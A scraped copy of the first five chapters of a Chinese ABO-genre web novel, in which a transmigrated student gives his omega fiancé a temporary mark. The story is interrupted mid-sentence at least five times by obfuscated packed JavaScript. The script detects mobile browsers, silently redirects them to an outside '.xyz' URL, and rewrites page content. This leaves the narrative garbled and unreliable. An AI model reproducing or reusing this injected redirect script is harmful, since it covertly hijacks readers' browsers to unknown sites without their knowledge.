《直男穿A婚后真香了》 1. 第1章 卢绛醒来时自己正躺在二楼的雨花棚上,几百来坪的婚宴现场,上千号人嗑着瓜子围观。 社死现场,他直接装晕。 送医院的救护车上,他才意识到一场车祸将他撞到了平行世界,因拒婚原身以跳楼要挟,才会有他穿过来戏剧性的一幕。 他小腿粉碎性骨折,照顾他的哥哥人美心善,说话又温柔,还帮他搓澡。 直到出院的那天,他才知道照顾他的哥哥是与他定婚的omega,名叫景凉。 连夜恶补ABO生理知识后,他抱着被子害怕极了,因为自己是个直男。 如果不是腿骨折,他可能会连夜卷铺盖跑路。 他之后一直以静养为由,拒绝见这个omega。 可尽管这样,景凉每天都会来一趟,在楼下大厅小坐一会儿就走。 卢绛躲在窗后目送他离开才会稍微放下心来。 想到景凉大热天的天天过来看他,又有些不忍心。 Omega能有什么坏心呢?毕竟错的不是他。 * 车内。 “我们这样来返一个多月,连这小子的面都见不到,alpha可真够傲慢的!” 景凉的助理兼好友周洲咬牙吐槽。 另一个当事人却一脸悠哉,笑容平添几分懒漫。 “我去卢家又不是真见他的。” “也是,毕竟面子里子得做足,可他要是再发疯怎么办?” “他发疯才好,不管是他自残还是他想杀我,舆论主导权都在我们这边。” “小景总高明!” “小废物的无能狂怒,只会让我高兴的多吃两碗饭。” 景凉笑起来眉眼弯弯,瞳仁乌黑晶亮,运筹帷幄的模样像只修了千年的老狐狸。 果然之后没几天#首富之子态度傲慢连续一个月拒见omega未婚夫#冲上热点新闻。 这个世界大多偏爱alpha,但这个新闻底下的评论却都是替景凉抱不平的。 【一个E等级级信息的废物alpha,怎么?给你配个A级omega还委屈上了?】 【alpha多少有点傲慢了,虽然是首富之子,但你只是个E级欸!】 【能干出订婚宴上跳楼紫砂的人,多少有点偏激型人格。】 【谁还记得卢某人半年前在市区飙车,把人给撞残废的事?这家伙就是个垃圾。】 【虽然市区飙车、泡吧赌博、打架斗殴还乱搞,但他是个好alpha!】 …… 卢家晚七点的餐桌上,乔秘书一脸严肃的将平板电脑递到了卢父手中。 卢佑铭一脸严肃将平板还给了乔秘书,朝卢绛抬了抬下巴。 乔秘书会意,又绕到卢绛身边双手将平板递上。 卢绛疑惑接过看了眼关于他的热点新闻,开始吃不下饭。 “你已经满十八岁了,做事做人应该经过大脑,我不劝你就是想让你看看这个后果。” “嗯。” 卢父瞧了他一眼,见他脾气性子收敛了很多,才有了些欣慰。 “所以你知道要怎么做了?” “知道。” “说说看。” “我会劝他明天不要来了。” ‘叭嗒’——!卢佑铭的筷子掉到了地上。 “于伯,拿,拿救心丸来!” 管家赶紧把药和水拿了过来,让卢佑铭吃下。 黎花顺着丈夫的背,无奈劝解着:“慢慢来,慢慢来,凡事都急不得的,你这样逼孩子也没有用啊!” 卢绛多少是有些愧疚的,占了他们儿子的身份,却没有履行做儿子的职责。 “爸……” “你不要叫我爸,我没你这个儿子!” “那,叔叔您保重。” “你给我滚!” 卢绛心下一阵烦闷,拄拐跳进家庭电梯,回了自己房间。 没来由的疲惫感让卢绛倒在床上睡了过去,醒来时是晚上十点,全身躁热难耐,还有股似雪松的檀木香。 他没有薰香的习惯,脑子宕机了足足五六分钟,才意识到可能是自己的易感期到了。 可是,他不是E级吗? 他抬起手腕嗅了嗅自己的信息素,结合自己在书上看到的生理知识,震惊得无以复加,十八岁之后还能越级分化? 先找找看有没有抑制剂。 原主是个低等E级alpha,几乎没有信息素,所以也没有易感期,跟beta差不多。 卢绛只找到几张抑制贴和阻隔喷雾,而且还是过期的。 面对这种兽性本能,说不怕是假的,卢绛趁自己还有意识,往自己后脖子贴上阻隔贴,叫上网约车,去了一家私人诊所打抑制剂。 如果去正规医院,他这种情况一定会被关在隔离室,被当作重点研究对象。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735948|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想想就恐怖! 诊所的老大夫见多识广,若有所思:“小伙子,你这个是第一次来易感期吧?” “啊……嗯。” “放心,第一次易感期会比较强烈,像你这种高等级,后面就不会这样难受了。” 高等alpha能很好的控制自己的信息素,除非omega等级很高,一般不会被omega的信息素影响发情。 卢绛买了一瓶药和几支alpha用的抑制剂,悄摸又打车着回了卢家别墅。 之后的几天,景凉没再往卢家跑。 毕竟他确实没有这么闲。 虽说是定婚关系,两人之间再也没有任何联系。 卢绛又读了一次高三。 说多了都是泪。 原身的成绩很烂,已经复读了一年,家里都准备替他捐个一两亿找个关系将他塞进大学混个文凭。 不想卢绛考得还挺好,第一志愿报到了南方重点一本大学,卢父肠子都悔青了。 他这成绩明明可以上帝都金融大学! 但卢绛很高兴,去南方就能暂时远离原身所熟悉的一切。 * 订婚一年后。 晚上十点半,帝都一家高级私立医院VIP病房,这家医院主要是针对信息素紊乱治疗很出名。 景凉一只手打着点滴,另一只手还拿着笔记本在办公。 一旁的助理轻叹了口气,又有点心疼,同身为O他太能理解景凉的难处。 助理一边削着苹果,一边出着主意:“反正你都订婚了,问他要个临时标记能怎么的?” 景凉头也未抬,声音清脆平静:“你忘了这小废物在订婚宴上闹自杀?我现在跑去问他要临时标记,不是自取其辱吗?” 助理:“幼稚的小男孩就是难以沟通。” 景凉漫不经心道:“是啊……” 助理:“可是你真的不能再用强效抑制剂了,你现在的身体已经出现了副作用,周期彻底紊乱,严重的可能以后连小孩都生不了!” 景凉顿住,暗抽了口气,虽然他没想过要生小孩,但不生和生不了是两码事,前者是选择,后者是无奈。 见景凉表情有些松动,助理周洲趁热打铁:“就试试呗,先打个电话试探试探他那边的意思,要是情绪不激烈,就可以循循善诱。” 景凉没抱任何希望,将手机递给周洲,“你打吧。” 2. 第2章 周洲找到卢绛的号码给拨了过去。 此时,卢绛在大学宿舍刚洗完澡,擦着头发从浴室出来,拿起手机看了眼来电显示——景。 他怎么打电话过来了? 虽然彼此存了号码,但是从来没有联系过。 卢绛忐忑去了阳台接了电话,“你好,这么晚了有事吗?” 周洲按了扬声器,听到卢绛情绪稳定且温和的问候,两人交换了一个惊讶的眼神。 景凉拿过手机,清冷的声音缓慢且带着无形的压迫感,“卢绛,我是景凉。” “嗯,我知道,我存了你的号码。” 景凉轻咳了下嗓门儿,尽量使自己的语气听起来柔和一些:“是这样的……” “嗯?” “我们,订婚也有一年了。” “嗯。” “我发情期……快到了,普通的抑制剂没什么用,因为工作的原因,一直使用强效抑制剂,那个……” 景凉说到这个份儿上,他自然什么都明白了。 本来订婚这事不是景凉一个人能决定的,而他现在切实是景凉的alhpa,给个临时标记在他能接受的范围,从责任上来说他也不好拒绝。 “我知道了,不过大一的课很满,我没办法回帝都,不知道你方不方便自己过来一趟?” 景凉心下一喜,立即应道:“方便的!那……那我明天就过去你那边,到时候再联系你?” “好,还有别的事吗?要是没有的话,我挂电话睡觉了。” 景凉不由多问了句:“你怎么态度变了这么多?” 卢绛心脏提到了嗓子眼,差点曝露了! “因为……事情已成定局,我以死相逼都改变不了这个事实,索性就不做无用之功了,反正,这对你来说也只是一场交易,与其闹得不可开交彼此难看,不如好好合作,各取所需。” 听到这个完美的回答,景凉甚感欣慰:“一年时间你成熟很多,果然上了大学就是不一样了。” 卢绛松了口气,看来是相信这个说辞了。 十月底的夜晚,南方已经下了一个星期的冷雨,卢绛挂断电话缩了缩脖子走进了寝室。 三个室友的视线齐刷刷的朝他投了过去,很是八卦。 “卢绛,这么晚了谁给你打电话啊?” “不会是偷偷瞒着我们交往了小O吧?” “现在的小O很好约吗?一个个都眼高于顶的!” “就是,卢绛都能找到小O,我们怎么可能找不到?” …… 卢绛尴尬扯着嘴角笑了笑,“不是,是……家里的一个哥哥。” 听他这么一说,室友便没有兴趣再问下去了。 卢绛爬上上铺,才拉上被子躺下,突然想到了什么,又摸到了手机,给景凉发了一条短信过去。 【卢绛:南方这段时间一直在下雨,温度很低。】 放下手机,卢绛想了想,又拿起手机补发了一句。 【卢绛:记得带一件薄绒外套。】 好了,睡觉。 此时医院,助理周洲正威逼利诱的收走了景凉的电脑让他睡觉。 “小景总,你知不知道,你现在是个病人?” “小毛病。” “是是是,小毛病,医生也说了,信息素紊乱继续用强效针重则心率衰竭,轻则丧失生育能力而己!” 景凉无奈一笑,只得拿过手机:“手机总能玩吧?” “不能超过十分钟。” “你是我老妈还是我助理?” “你是我老板,你要是有个三长两短,我等于失业!家庭主夫有多难再就业您知道吗?” 景凉笑着一边刷手机新闻,这才看到卢绛发过来的两条短信。 他十分意外看完,瞪着眼睛跟见鬼似的将手机举到周洲面前,“周洲,你看。” 周洲见怪不怪粗略瞥了眼,轻嗤:“哇哦,真体贴!今夜又是哪个不长眼的Alpha要失眠了?他们难道不知道你已经是个订婚的O了吗?” “是我那还在上大学的小未婚夫发的。” 周洲一听,眼珠子差点给他瞪出来,“哈???” “意外吧?” “不对劲,绝对不对劲!明天咱们还是别过去了,这小子肯定憋着坏!” 景凉若有所思,许久,才说道:“我是被动的一方,就算他是想耍我,我也拿他没办法,卢氏继承人,我的al ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735949|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' pha未婚夫,不管是哪一个身份,都压我一筹。” 周洲越想越觉得可疑不安。 “cao!我觉得还是算了吧,那小王八蛋指不定会怎么折磨你!” 景凉一脸微笑着放下了手机,安慰的拍拍他的手背:“小事,这些根本打不倒我。” 周洲声音都哑了:“那什么才是大事?” 景凉一时回答不上来,在他懂事前,他的alpha母亲因意外去逝,omega母亲也一直没有再婚,单亲抚育着他长大成人,继承家业。 Omega母亲一直对他很严苛,就是害怕他软弱可欺,一个omega想要继承偌大的家业有千万般阻拦及社会各种质疑声,他们必须把心性练就得坚不可催。 景凉看他一脸倦意,说道:“你快回去睡吧,明早还要赶去南城,正好见一见那边一个客户,当面详谈可合作方案。” “那你休息吧,我把大灯关了,晚安。” “晚安。” * 第二天上午,景凉与周洲坐飞机赶去了南城,刚下飞机景凉就有些不好了,来之前已经用了一支普通抑制剂,但他这样长期信息素紊乱,强效都不见得有用,普通的抑制剂不过是图个心理安慰。 他们只能在机场附近找了个酒店安顿下来,周洲喂他吃了点东西,刚吃下去就全都吐了。 看他只能蜷缩在床上痛苦呻吟,周洲又心疼又着急,“我现在就给卢绛打电话吧?阿凉,你是不是很难受?” 景凉只觉身体里有无数蚂蚁在啃噬自己的血肉,浑身都在疼,这种折磨让他感觉每一秒都很难挨。 “周洲,你先给我一支强效抑制剂吧!我……我难受,我恐怕坚持不到等他过来。” “不行,你已经不能再使用强效抑制剂了,你现在的身体情况已经承受不起强效剂的负作用,我马上给卢绛打电话。” 周洲还有一个更担心的问题,景凉的信息素等级是A,而资料上卢绛的信息素等级是最低的E级,等同于没有,就算临时标记以他这样严重的情况,能起到安抚的作用吗? 此时卢绛正在上课,手机调的震动,平时上课他会调静音,但昨天景凉说要过来,怕错过重要信息。 3. 第3章 卢绛按掉来电,回了信息。 【卢绛:我在上课。】 【周洲:我是景凉的助理,他现在情况很不好,卢少能尽快赶过来一趟吗?他已经不能再使用强效抑制剂了,算我求你!】 卢绛看了眼时间,距离下课还有半个小时,如果不是情况紧急,他的助理不至于如此卑微请求。 卢绛无奈,举起了手。 教授一脸欣慰,以为是有人要回答课堂题问,于是让卢绛站起来发言。 “同学,请说出你的答案。” “教授,我要请假。” 课堂一阵哗然,甚至有几声隐忍的发笑。 这人真是个勇士,居然敢在大魔头的课上,在这个紧张的课堂时间提出请假。 教授果然脸色骤变,隐忍不发,只是语气十分冷硬:“你请假的理由?” 卢绛思绪千回百转。 理由? 肚子疼可能得了绝症?爷奶殡天了?家里破产了? 太夸张了,谁信? 卢绛做了个深呼吸,极诚挚的说道:“是我的omega现在需要我。” “噗,哈哈哈哈哈……” 第一声无法抑制的笑声发出后,所有同学跟着大笑了起来。 “cao,牛逼!” “F大的第一勇士名号非这哥们莫属。” “他的omega是天仙吗?” “他真的有omega吗?假的吧?” “笑死,赶紧录下来。” …… 教授也被他气笑了,但偏偏在这个世界,这是个非常正当的请假理由。 教授用力点了点黑板上刚才讲的题,一脸不讲情面:“这题选什么?” 卢绛从善如流道:“这其实是个多选题,正确答案是A和D。” 教授挑眉,心气顺畅了些:“你的假我批准了。” “谢谢教授。”卢绛以最快的速度收拾了书包,在所有人的注目礼中,飞奔出了教室。 卢绛跑出校门拦了一辆出租车,在车上给周洲发了短信。 【卢绛:我在赶来的路上,给我一个定位。】 周洲都已经在翻行李箱里的强效抑制剂了,他没想到卢绛会这么快赶过来,顿时激动的给他发了一个定位,满怀新的希望。 “阿凉,卢绛现在正赶过来的路上,你再等等。” 景凉神情恍惚,好久才理解完这句话的意思,气若游丝:“他不是,说,他在上课?” 周洲:“应该是请假了。” 难以置信,卢绛居然会为了他这个名义上的未婚夫,第一时间请假赶过来。 水泥封心这么多年的人,也不由动心,看到一点希望后,甚至连时间也没之前那么难熬。 时间一分一秒流逝,景凉此刻已经陷入了短暂的昏迷,浑身如水洗被冷汗浸透。 直到门铃响起。 周洲慌忙起身去开门,门口站着的青年微喘着气,额头上布满了细密的汗水,一看就是一路跑过来的。 不愧是alpha,目测身高已经长到了一米九左右,身体素质看起来比omega好太多。 “你是……卢绛?”变化太大了! “是,他怎么样了?” 周洲赶紧让他进去,omega浓烈的信息素瞬间将卢绛包裹,是很好闻的麦麸味,发散很绵密,若是一般的alpha可能早就失控了,但卢绛跟闻不到一般,若无其事的走到了床边查看景凉的情况。 只见他脸色白得像纸,因隐忍着痛苦,俊美的五官都皱成了一团。 周洲:“你会做临时标记吗?我怎么闻不到你身上的信息素?卢少,这可不是开玩笑的,如果你不行的话,或许现在送医院会更好。” 卢绛一脸严峻扭头看向周洲,来自alpha的无形的压迫如排山倒海袭来,周洲身体僵直瞬间闭上了嘴。 “周助,麻烦你先出去吧。” “好,好的。” 周洲咽了口唾沫,转身大步走到了门口,似是想到什么,叮嘱了句:“我就守在门外,有什么情况记得叫我。” “嗯。”卢绛轻应了声,也没再看他。 卢绛扶起景凉,让他背靠在自己怀里,然后这才开始释放自己的信息素进行抚慰引导。 迷糊中,景凉闻到了一股非常清新的雪松气味,类似于檀香,但又高于檀香的凛冽气息。 蚂蚁啃噬的痛苦如抽丝般在他的身体里拔除,整个人被雪松的清香抚慰包围,舒服得像是飘在云端。 守在门口的周洲闻到了从房内溢出来的alpha信息素,震惊在原地久久没有回过神。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735950|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽然他已经被另一个alpha永久标记,但是如果是高等信息素就能完全覆盖抹去低等级的标记,并且对已标记的omega造成影响。 周洲现在必须得离开,他双腿有些发软,抚着墙走到了走廊尽头,推开了楼梯间的门才渐渐脱离那股高等信息素的控制。 “老天,资料上不是低等E级吗?他怎么……” 卢绛刚过来时,原身确实只是E级信息素,可是当他能将信息素收放自如时,又通过理论知识的推论,他的信息素至少在A级以上,最高等级的那一类。 他翻遍这个世界所有有关信息素的资料和能网上查到的论文,都没有他这种满了十八岁还能越级分化的情况。 所以卢绛有一个大胆的推测,他们这个世界的信息素等级或许与灵魂维度有一定的关联。 怀里的人一直不太安份。 Omega吗?卢绛低头盯着眼前那截白皙的后颈出神,景凉无力地垂着头,后颈骨节分明,更显得柔弱。 卢绛的理论知识已经足够应对眼前的境况,可是心理上还是迈不过去那道坎。 对于直男来说,男性omega的存在让他感觉别扭。 “不,不够。”景凉意识还不那么清醒,全凭本能索要。 他反手勾过身后alpha的脖子,想要吞咽他的唾液,得到更多的alpha信息素。 可他的唇还没碰过去,一只手便将他的唇捂了个严实,那只手很有力量,轻易的扣过他的双颊,将他的脸扭了回去,另一只手更用力的将他禁锢住,不让他再乱动。 “放开我……我好难受……给我,给我信息素,啊不,标记我,求你,标记我吧,我难受!呜……” “你别乱动!”卢绛在他后颈按压着,寻找腺体的准确位置,当按压到景凉的腺体时,他整个人的反应很激烈,出于本能想逃,但又不得不屈于信息素的抚慰中。 这种矛盾的感觉差点让他发疯,忍不住细细哽咽出声。 卢绛一时手足无措,别说男人了,就是女孩子也没有这样靠在他怀里哭过呀! 这哭声他整个人都要麻了,“别,你别哭了,我刚才不是凶你。” 因为腺体的刺激,景凉恢复了点理智,他只觉丢脸和难为情,可特殊时期情绪化,泪水不是说止住就能止住的。 4. 第4章 “你快点……”景凉双目紧闭,用力咬着牙关浑身微微颤抖。 “会有点疼,但我会轻轻的,只是临时标记,你别担心。” “嗯。” 卢绛再三确认了腺体位置,深吸了口气,张口朝着他的后颈咬了上去,犬牙破开皮肉进入腺体,大股属于alpha的信息素涌入他的身体里。 “啊——!”景凉瞳孔不自觉放大迷离,撕扯着喉咙却发不出声音。 他感觉只是刚咬破时会有些刺痛酸胀感,身体里各种激素被抚慰平衡之后,是感觉从未有过的轻盈和畅快。 那些网上说第一次被临时标记咬得血肉模糊与惨烈,在他这里都不存在。 只咬一次,卢绛就能找准腺体的位置,而且动作很温柔。 注入足够的信息素后,卢绛松开了牙关,已经足足过去了十几分钟,临时标记已经完成了,留下的牙印很淡,有血珠从他后颈渗出,卢绛仿佛脑抽了,下意识伸出舌尖将他后颈的血珠舔干净。 做出这种匪夷所思的行为时,卢绛怔愣了几秒,浑身一阵恶寒,慌忙将怀里的人扶着躺下,没再有任何触碰。 彼此的衣服已经被汗水浸透,房间里充斥着alpha和omega交融的气息。 景凉被素信息紊乱折磨不堪的身体,终于得到了放松,已经彻底的昏睡了过去,估计现在打雷都醒不了。 卢绛将额前的头发捋向脑后,转身去开了窗,散一散房间里的气味。 待气味散得差不多了,他这才走到门口想去叫周洲进来善后。 结果门口早就不见了人影,周洲一直都是用景凉的手机联系他,所以一时间不知道去哪找人。 看了眼床上那人,衣服还是湿的,他身体这么虚弱如果不换下来,肯定会生病。 卢绛没办法,只得关上门折回去亲自给他换。 此时他还没有AO有别的这种观念,在他看来再柔弱的男omega也跟他一样是男人。 何况这种很强势的,身高体型与正常男人无异的男omega感觉与自己更没区别。 当卢绛毫无心理负担脱掉景凉的上衣时,整个人又麻了,给他干不会了,omega的胸和普通男性还是有区别的。 特别是易感期的omega,性征会更加明显。 卢绛顿觉血液逆流直冲上脑,他一把抓过被子盖在了景凉身上,手都在抖。 他战略性的摸了下后颈,慌得不行。 那种羞于启齿的念想在脑子里一闪而过,他很想忽视,但是很难。 刻在基因里的本能真是一件很可怕的东西,他冲进浴室里用冷水洗了把脸,终于强迫自己冷静了下来。 之后他又打了热水拿过毛巾回到了卧室,硬着头皮将他湿掉的裤子一同扒下,隔着一床被子给景凉擦拭了一下身体,这才又回到了浴室匆匆冲了个澡。 成熟的omega办事总是很周到,情侣套间的东西都是双份的,卢绛拿过浴袍穿上,又叫来酒店服务,将自己和景凉的衣服拿去速洗烘干。 下午一点半,卢绛叫了两份外卖,其中一份是自己的,另一份是比较清淡的小菜和粥。 卢绛将景凉挪到另一边干净的床时他都没醒一下,睡得很死。 周洲一直没回来,卢绛也不好把虚弱的景凉一个人丢在酒店里自己回学校,万一他醒来身体不适还能及时送医院。 上午一节课和下午的一节课都很重要,他得找同学要个课堂笔记或者课堂录音才行。 卢绛登上了大学内部论坛,开了一个贴子。 #求一份上午金融系宋教授的课堂录音或者笔记,有偿# 本来以为会无人问津,没想到很快就有回复了。 【先占个楼。】 【轻置玉臀。】 【宋教授的课你也敢翘,NB!】 【今天宋教授的课,只有一个小学弟请假的,是不是我想的那个学弟哟?】 【哇哦,刺激~学弟见到了他的omega了吗?】 【这是可以拿到台面上讨论的吗?好羞羞,可我好爱看!求更新后续。】 【我赌一百块,那兄弟根本没有omega,当时我就坐在他旁边,除了身高高一点,也就普普通通,连信息素都没有,一看就知道只是为逃课找个正当理由而己。】 【完整录像在这里,不用谢。】 【楼上好人啊!】 【楼上好人+10086】 …… 卢绛高兴地打开贴子看回复,顿觉回复有点不对劲,彻底歪楼! 在事态失控之前,还是删贴吧,他想,点开了贴子设置——删除。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735951|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【系统提示:您还是初级号,没有删贴权限哦,如有必要,请联系管理员申请删贴。】 卢绛只觉有一道惊雷劈下,窘迫的搓了把脸,生无可恋。 要不,他想……直接装死不理会了? 没想这贴子越演越烈,不到半小时已经是论坛红标顶置。 【楼主人呢?别窥屏了,出来说两句满足一下大家好奇心嘛。】 【是不是不好意思啊?】 【反复看录屏,其实楼主五官不差,打扮一下肯定很帅的,好奇他的omega是什么样子。】 【alpha弟弟好可爱!怎么能当众说出那么可爱的话?】 【哈哈,可爱+1】 【而且弟弟是妥妥的学霸哦。】 【贫民窟里低级的alpha能拥有什么优质omega?就算有估计也跟这楼主一样,都拿不出手。】 【啧啧啧,这才哪到哪,楼上就有单身狗在汪汪叫了。】 【一群FQ的omega连个低级alpha都要捧上天了,爬过来小爷的脚趾头给你舔啊,哈哈哈……】 【看楼上两个脏东西,所以知道这个新生为什么受欢迎了吗?即使他只是做了份内的事,还是胜过了百分之九十的alpha。】 【你们这些omega贱不贱啊?一天天就知道整AO对立,结果呢?还不是要找个A生孩子,靠A养着!】 【你们这些臭A养得起哪个O啊?笑死啦!一边寡廉鲜耻的侵占O的生育权,一边奴役O赚钱做饭伺候你们这群废物!】 …… 贴子走向变得越来越奇怪。 一个小时后,从有偿求上课笔记到AO对立,吵得不可开交,战火连天。 卢绛申请删贴还不成功,之后他也就懒得再管了,从书包里拿出课本开始学习。 他根本没想到,一个贴子走向让他差点成了全校alpha公敌。 大学课业没有想像中那么轻松,好在卢绛是个抗压能力非常强的人,只要全心投入一件事,他就能心无旁骛。 一整天都是阴雨绵绵,外边的天不知不觉的暗下,卢绛视力受阻才惊觉天黑了。 他正起身要去开灯,屋子里的大灯便被人打开,他下意识扭头看去,景凉不知何时已经起来了,脸色好看了许多。 5. 第5章 卢绛也不知道自己是个什么心情,既不是单纯的尴尬,也不是全然无感,一时间没能做出任何反应,以至于只能盯着他看。 景凉纵然足够成熟稳重,见识过人,被一个alpha这样盯着,也怪别扭的。 “看够了吗?” 卢绛面露一丝窘迫之色,一下子想到了不该想的画面,耳尖红红地垂下头去,“抱歉。” 景凉看他生涩的反应,心脏漏掉了一拍,眼前这个A的反应,会不会过份可爱? 好像与传闻中的不太一样? “在学习?” “嗯。” 景凉不经意的走到他的身边,双手撑在茶几边去看他做的功课,松松垮垮的睡袍衣领大敞,再加上灯光的暧昧,眼前的视觉冲击对不经人事的卢绛太过刺激。 卢绛的双耳嗡嗡作响,根本听不清楚景凉在跟他说什么,身体突然有些发热,他嚅动的红唇有些诱人。 “你功课做得很好,字也写得特别好看,你变化确实很大,我都要不认识你了。” “卢绛?你发什么呆?” 卢绛猛地惊醒,“啊……我去一下洗手间。” 他假装镇定的起身去了洗手间,冲了好几遍冷水脸,整个人才渐渐冷静下来。 怎么回事? 不可能啊,他怎么会对一个男人有性冲动? 难道alpha的本能会影响他的判断与性取向? “对了,我易感期快到了,景凉的信息素是A级。”卢绛无助的捊了把自己的头发。 大意了!A级omega的信息素能诱导alpha发情。 直了十九年,以后他可能对男O没那么坦率把他们当兄弟看待了。 在这个世界,男男有别。 景凉看他反应才后知后觉拢了拢松开的领口,窘迫的轻咳了下嗓门儿,也没有过多在意,慵懒的坐在沙发里看着卢绛做的功课,一边等他出来。 还别说,他这未婚夫居然是个学霸,字迹工整,笔记逻辑清晰,重点和次重点都用不同的记号标注着,知识关联图看起来很复杂其实融会贯通,已经有他自己的一套学习系统。 此时房间外响起了敲门声,景凉起身去开门,外边站着周洲没敢进来。 景凉:“不进来吗?” “不!”周洲坚决拒绝,一边捂着鼻子一边往周围喷着阻隔喷雾:“那个alpha还在你房间里吧?” 景凉不由笑了声:“在的,躲在洗手间不敢出来呢。” 周洲惊诧:“你对他干什么了?” 景凉:“没什么,他……太纯情了吧!” 纯情这个词用在卢大少身上,让周洲大为震惊,“纯情?不可能!绝对不可能!!帝都上流圈子谁不知道,这家伙飙车泡吧男女朋友多到数不过来!你说他纯情?” 景凉:“嗯……确实跟订婚宴那天见到的给人感觉像是两个人。” 不过这很难说,人性本来就很复杂,人心也多变。 他们没有过什么交集,而且与他订婚卢绛很反感,所以当天行为偏激倒是可以理解。 周洲:“希望他是真的学好了,没有攒着劲憋个大的在后边等你。” 景凉失笑,泰然自若:“没关系,这次过来的目的已经达到了,至于他之后真有什么后招,到时候再说。” 周洲点点头,谁能想到这一趟居然会这么顺利,顺利得简直跟做梦一样。 景凉突然想起了什么,面上有些窘色:“那个……” 周洲:“啊?” 景凉双手捂住胸口:“贴贴,防凸,你有带吗?” 周洲恍然,轻咳了下嗓门儿说道:“行李箱上面的网袋里有准备。” 景凉窘迫地松了口气:“好。” 周洲犹豫了许久,才吱吱唔唔道:“你……要留他,过夜吗?我,我觉得最好还是不要,你懂得的,alpha禽兽起来拉不住。” 说完,周洲以最快的速闪进自己的房间,闭门不出。 那个可怕的alpha信息素,他不想再闻到。 景凉脸色难掩绯红,做个了深呼吸关上了门。 卢绛站在洗手间门后踌躇不前,外边好像没声音了,不知道周助回来没有?要是周助回来他应该可以回学校了。 他看了眼电子腕表,已经进来四十分钟,再不出去好像很奇怪吧? 好尴尬啊!活了十九年没这么尴尬过! 卢绛不断给自己做着心理建树,深吸了口气后,才用力拧了下门把走出了洗手间。 景凉叫了餐,酒店服务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735952|157317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员正推着餐车走了进来。 此时他已经穿戴整齐,一派上流社会精英模样,沉稳干练,与传说中的形象完全贴合,仿佛卢绛之前看到的那个脆弱的他才是错觉。 “发什么愣?过来吃饭吧。”景凉微笑着朝他招招手。 “好。”卢绛重整了心态,若无其事的朝餐桌走了过去。 服务员布好餐后便快速离开了,此时房间里只剩下他们俩。 卢绛平时消耗大胃口也大,再加上他急着想回学校,所以吃得很快。 景凉看得有点心疼,瞧这孩子都饿成什么样了,学校伙食不合口胃吗? 卢绛吃完放下筷子,仓促起身:“凉哥,我吃好了先回学校!” “好,我送你下去。”景凉微笑着拉开椅子,等他收拾书包。 卢绛以最快的速度收拾好书包,两人一起走进了电梯。 像电梯这样封闭的空间,感觉做什么都不自在,只能数着格子键上的数字,期待快点降到一楼。 终于电梯门打开,卢绛还没来得及松口气,外边的夜雨瓢泼而下,电闪雷鸣。 酒店外滞留着几台未开走的车,大堂沙发坐着好些刚下飞机的客人。 景凉叹了声:“下这么大雨啊!看这势头一时半会儿停不了,你要不和我凑合一晚上?” “啊?”卢绛一脸惊慌与错愕,心里在呐喊着,达咩!此地不宜久留,我要回学校!!! “我周期紊乱很糟糕,明天早上如果你能再给我补一个临时标记,这样更稳妥一点。” 卢绛石化在当场,沉默了好久突然打了一个嗝,之前吃太急了。 景凉被他呆萌的模样逗笑,转身问前台要了杯热水给他,“喝点水。” 卢绛窘迫得一张脸通红,一边打嗝一边将水喝下去。 “那我,再去开个房间吧。”卢绛暗抽了口气,身体僵直都出现同手同脚了。 景凉欲言又止,目送他转身开,终究还是什么都没说。 卢绛走到前台想要订房间,但是前台告诉他:“抱歉这位顾客,我们今晚酒店的房间已经满了。” 